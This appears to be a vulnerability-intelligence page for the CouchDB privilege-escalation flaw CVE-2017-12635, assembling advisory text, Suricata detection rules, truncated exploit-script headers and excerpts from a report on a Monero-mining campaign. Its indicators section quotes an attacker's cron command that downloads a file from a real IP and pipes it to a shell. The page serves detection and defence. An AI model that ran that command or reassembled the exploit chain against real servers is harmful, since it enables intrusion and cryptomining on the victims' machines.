CVE-2017-12635
published 2017-11-14CVE-2017-12635: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to…
PriorityP192critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
99.84%
100.0th percentile
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | couchdb | < 1.7.0 | 1.7.0 |
| apache | couchdb | — | — |
| apache_software_foundation | apache_couchdb | — | — |
| apache_software_foundation | apache_couchdb | — | — |
Detection & IOCsextracted from sources · hover to see the quote
commandecho "* * * * * wget -q http://94[.]250[.]253[.]178/logo6[.]jpg -O - | sh" >> /tmp/cron || true && crontab /tmp/cron↗
- →Monitor for HTTP PUT requests to the /_users/org.couchdb.user: path on port 5984/TCP, which is the exploitation vector for CVE-2017-12635 privilege escalation. ↗
- →Detect exploitation attempts by looking for JSON bodies with duplicate 'roles' keys (especially containing '_admin') in PUT requests to CouchDB's _users endpoint. ↗
- →Alert on Base64-encoded Authorization headers matching dG9wa2VrMTEyOnRvcGtlazExMg== (topkek112:topkek112) in CouchDB traffic, indicating use of the attacker-created admin account. ↗
- →Hunt for the miner binary dropped at /var/tmp/vpz and execution of stratum mining protocol connections to 178.170.189.193:82. ↗
- →Detect process kill commands targeting competing miners (pkill -f minergate, pkill -f minergate-cli) as a post-exploitation indicator. ↗
- →Trend Micro detects the dropped miner payloads as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ. ↗
- ·CouchDB listens on port 5984/TCP by default; internet-exposed instances without authentication are directly exploitable by this CVE. ↗
- ·The vulnerability affects Apache CouchDB before 1.7.0 and 2.x before 2.1.1; patched versions were released in November 2017. ↗
- ·The attack exploits a differential between the Erlang-based JSON parser (takes first key) and the JavaScript-based JSON parser (takes second key) for duplicate 'roles' fields, meaning the second roles value is used for write authorization but the first is used for subsequent access control. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv9.8CRITICAL
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-f3p2-qqmm-jg8f: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
ghsa_unreviewed·2022-05-13·CVSS 7.2
CVE-2017-12635 [HIGH] CWE-269 GHSA-f3p2-qqmm-jg8f: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign t
OSV
CVE-2017-12635: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
osv·2017-11-14·CVSS 9.8
CVE-2017-12635 [CRITICAL] CVE-2017-12635: Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign t
VulnCheck
Apache CouchDB Improper Privilege Management
vulncheck·2017·CVSS 9.8
CVE-2017-12635 [CRITICAL] Apache CouchDB Improper Privilege Management
Apache CouchDB Improper Privilege Management
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly c
Suricata
ET EXPLOIT Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation (CVE-2017-12635)
suricata·2025-07-08·CVSS 9.8
CVE-2017-12635 [CRITICAL] ET EXPLOIT Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation (CVE-2017-12635)
ET EXPLOIT Apache CouchDB 1.7.0 / 2.x [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation (CVE-2017-12635)"; flow:established,to_server; http.method; content:"PUT"; http.uri; content:"/_users/"; fast_pattern; http.request_body; content:"|22|roles|22 3a|"; content:"|22|roles|22 3a|"; reference:cve,2017-12635; classtype:attempted-admin; sid:2063343; rev:1; metadata:affected_product Apache_CouchDB, attack_target Server, created_at 2025_07_08, cve CVE_2017_12635, deployment Perimeter, deployment Internal, performance_impact Low, confidence High, signature_severity Major, tag Exploit, updated_at 2025_07_08, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_App
Suricata
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 1
suricata·2018-06-25
CVE-2017-12635 ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 1
ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 1
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SPECIFIC_APPS Apache CouchDB Remote Code Execution 1"; flow:established,to_server; http.uri; content:"/_users/org.couchdb.user|3a|"; http.request_body; content:"|22|roles|22 3a 20 5b 22 5f|admin|22 5d 2c|"; fast_pattern; content:"password"; reference:cve,2017-12635; classtype:attempted-user; sid:2025740; rev:4; metadata:attack_target Web_Server, created_at 2018_06_25, cve CVE_2017_12635, deployment Datacenter, confidence Medium, signature_severity Major, updated_at 2020_11_19, reviewed_at 2024_04_03, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application;)
Suricata
ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12635)
suricata·2018-03-19·CVSS 9.8
CVE-2017-12635 [CRITICAL] ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12635)
ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12635)
Rule: alert http any any -> $HOME_NET 5984 (msg:"ET EXPLOIT Apache CouchDB JSON Remote Privesc Attempt (CVE-2017-12635)"; flow:established,to_server,only_stream; http.method; content:"PUT"; http.uri; content:"/_users/"; http.request_body; content:"_admin"; fast_pattern; reference:cve,2017-12635; reference:url,blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/; classtype:attempted-admin; sid:2025435; rev:4; metadata:attack_target Server, created_at 2018_03_19, cve CVE_2017_12635, deployment Datacenter, malware_family CoinMiner, signature_severity Major, updated_at 2020_11_05;)
Exploit-DB
Apache CouchDB - Arbitrary Command Execution (Metasploit)
exploitdb·2018-07-13·CVSS 9.8
CVE-2017-12636 [CRITICAL] Apache CouchDB - Arbitrary Command Execution (Metasploit)
Apache CouchDB - Arbitrary Command Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-
Exploit-DB
Apache CouchDB < 2.1.0 - Remote Code Execution
exploitdb·2018-06-20·CVSS 7.2
CVE-2017-12636 [HIGH] Apache CouchDB < 2.1.0 - Remote Code Execution
Apache CouchDB < 2.1.0 - Remote Code Execution
---
# Title: Apache CouchDB < 2.1.0 - Remote Code Execution
# Author: Cody Zacharias
# Shodan Dork: port:5984
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://archive.apache.org/dist/couchdb/source/1.6.0/
# Version: <= 1.7.0 and 2.x - 2.1.0
# Tested on: Debian
# CVE : CVE-2017-12636
# References:
# https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
# https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/
# Proof of Concept: python exploit.py --priv -c "id" http://localhost:5984
#!/usr/bin/env python
from requests.auth import HTTPBasicAuth
import argparse
import requests
import re
import sys
def getVersion():
version = requests.get(args.host).json()["v
Exploit-DB
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
exploitdb·2018-04-23·CVSS 9.8
CVE-2017-12635 [CRITICAL] Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
---
#!/usr/bin/env python
'''
@author: r4wd3r
@license: MIT License
@contact: [email protected]
'''
import argparse
import re
import sys
import requests
parser = argparse.ArgumentParser(
description='Exploits the Apache CouchDB JSON Remote Privilege Escalation Vulnerability' +
' (CVE-2017-12635)')
parser.add_argument('host', help='Host to attack.', type=str)
parser.add_argument('-p', '--port', help='Port of CouchDB Service', type=str, default='5984')
parser.add_argument('-u', '--user', help='Username to create as admin.',
type=str, default='couchara')
parser.add_argument('-P', '--password', help='Password of the created user.',
type=str, default='couchapass')
args = parser.parse_args()
host = args.host
port = args.port
u
Nuclei
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
nuclei·CVSS 9.8
CVE-2017-12635 [CRITICAL] Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keysfor 'roles' used for access control within the database, including the special case '_admin' role, that denotes administrative users. In combination with CVE-2017-12636 (Remote Code Execution), this can be used to give non-admin users access to arbitrary shell commands on the server as the database system user. The JSON parser differences result in behavior that if two 'roles' keys are available in the JSON, the second one will be used for authorizing the document write, but the first 'roles' key is used for subsequent authorizati
Metasploit
Apache CouchDB Arbitrary Command Execution
metasploit
Apache CouchDB Arbitrary Command Execution
Apache CouchDB Arbitrary Command Execution
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.
Metasploit
CouchDB Enum Utility
metasploit
CouchDB Enum Utility
CouchDB Enum Utility
This module enumerates databases on CouchDB using the REST API (without authentication by default).
Bugzilla
CVE-2017-12635 couchdb: Privilege escalation via _users documents with duplicate keys for 'roles'
bugzilla·2017-11-23·CVSS 9.8
CVE-2017-12635 [CRITICAL] CVE-2017-12635 couchdb: Privilege escalation via _users documents with duplicate keys for 'roles'
CVE-2017-12635 couchdb: Privilege escalation via _users documents with duplicate keys for 'roles'
Due to differences in the Erlang-based JSON parser and JavaScript-based JSON parser, it is possible in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to submit _users documents with duplicate keys for 'roles' used for access control within the database. The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON, the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization for the newly created user. By design, users can not assign themselves roles. The vulnerability allows non-admin users to give themselves admin privileges.
References:
https://lists.apache.org/thread.html/6c405bf3f83
Bugzilla
CVE-2017-12635 CVE-2017-12636 couchdb: various flaws [fedora-all]
bugzilla·2017-11-23·CVSS 9.8
CVE-2017-12635 [CRITICAL] CVE-2017-12635 CVE-2017-12636 couchdb: various flaws [fedora-all]
CVE-2017-12635 CVE-2017-12636 couchdb: various flaws [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported versions of Fedora.
Trailofbits
Unexpected security footguns in Go's parsers
blogs_trailofbits·2025-06-18·CVSS 8.2
CVE-2020-16250 [HIGH] Unexpected security footguns in Go's parsers
In Go applications, parsing untrusted data creates a dangerous attack surface that’s routinely exploited in the wild. During our security assessments, we’ve repeatedly exploited unexpected behaviors in Go’s JSON, XML, and YAML parsers to bypass authentication, circumvent authorization controls, and exfiltrate sensitive data from production systems.
These aren’t theoretical issues—they’ve led to documented vulnerabilities like CVE-2020-16250 (a Hashicorp Vault authentication bypass found by Google’s Project Zero) and numerous high-impact findings in our client engagements.
This post contextualizes these unexpected parser behaviors through three attack scenarios that every security engineer and Go developer should understand:
1. (Un)Marshaling unexpected data: How Go parsers can expose da
Trailofbits
Unexpected security footguns in Go's parsers
blogs_trailofbits·2025-06-17·CVSS 8.2
CVE-2020-16250 [HIGH] Unexpected security footguns in Go's parsers
In Go applications, parsing untrusted data creates a dangerous attack surface that’s routinely exploited in the wild. During our security assessments, we’ve repeatedly exploited unexpected behaviors in Go’s JSON, XML, and YAML parsers to bypass authentication, circumvent authorization controls, and exfiltrate sensitive data from production systems.
These aren’t theoretical issues—they’ve led to documented vulnerabilities like CVE-2020-16250 (a Hashicorp Vault authentication bypass found by Google’s Project Zero) and numerous high-impact findings in our client engagements.
This post contextualizes these unexpected parser behaviors through three attack scenarios that every security engineer and Go developer should understand:
(Un)Marshaling unexpected data : How Go parsers can expose data
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Ausnutzung von Schwachstellen
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin Feb 15, 2018 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits & Vulnerabilities
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin 2018/02/15 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source datab
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits y vulnerabilidades
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin Feb 15, 2018 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source da
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits & Vulnerabilities
## Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin Feb 15, 2018 Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source dat
Trendmicro
Apache CouchDB Vulnerabilities Permit Monero Mining
blogs_trendmicro·2018-02-15·CVSS 9.8
[CRITICAL] Apache CouchDB Vulnerabilities Permit Monero Mining
Exploits & Vulnerabilities
# Apache CouchDB Vulnerabilities Permit Monero Mining
Based on data from worldwide sensors, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners for the Monero cryptocurrency.
By: Hubert Lin
2018/02/15
Read time: ( words)
Save to Folio
Attacks abusing cryptocurrency miners have been on an upswing — in large part due to the growing popularity of digital currencies. Based on data from our sensors that we deployed worldwide, we have observed a new attack that exploits two vulnerabilities in a popular database system to deliver miners (detected by Trend Micro as HKTL_COINMINE.GE, HKTL_COINMINE.GP, and HKTL_COINMINE.GQ) for the Monero cryptocurrency. In this instance, Apache CouchDB — an open source datab
Greynoiseio
GreyNoise
blogs_greynoiseio
GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
arXiv
Hybrid Privilege Escalation and Remote Code Execution Exploit Chains
arxiv_fulltext·2025-09-22
Hybrid Privilege Escalation and Remote Code Execution Exploit Chains
Exploit Classification
Modeling
AI Planning
ALFA-Chains
RCE
Core Certified Exploit Library
DMZ+LAN
20+6subs
200+6subs
Purdue_1
Purdue_2
Purdue_3
Synthetic
H0
H1
H2
Hybrid Privilege Escalation and Remote Code Execution Exploit Chains
Miguel Tulla
MIT
Cambridge, MA
Email: [email protected]
Andrea Vignali
University of Naples Federico II
Naples, Italy
Email: [email protected]
Cristian Colon
MIT
Cambridge, MA
Email: [email protected]
Anahita Srinivasan
MIT
Cambridge, MA
Email: [email protected]
Giancarlo Sperlì
University of Naples Federico II
Naples, Italy
Email: [email protected]
Simon Pietro Romano
University of Naples Federico II
Naples, Italy
Email: [email protected]
Masataro Asai
MIT-IBM Watson AI Lab
Cambridge, MA
Email: [email protected]
Erik Hemberg
http://www.securityfocus.com/bid/101868https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67%40%3Cdev.couchdb.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2018/01/msg00026.htmlhttps://security.gentoo.org/glsa/201711-16https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_ushttps://www.exploit-db.com/exploits/44498/https://www.exploit-db.com/exploits/45019/http://www.securityfocus.com/bid/101868https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67%40%3Cdev.couchdb.apache.org%3Ehttps://lists.debian.org/debian-lts-announce/2018/01/msg00026.htmlhttps://security.gentoo.org/glsa/201711-16https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03935en_ushttps://www.exploit-db.com/exploits/44498/https://www.exploit-db.com/exploits/45019/
2017-11-14
Published
Exploited in the wild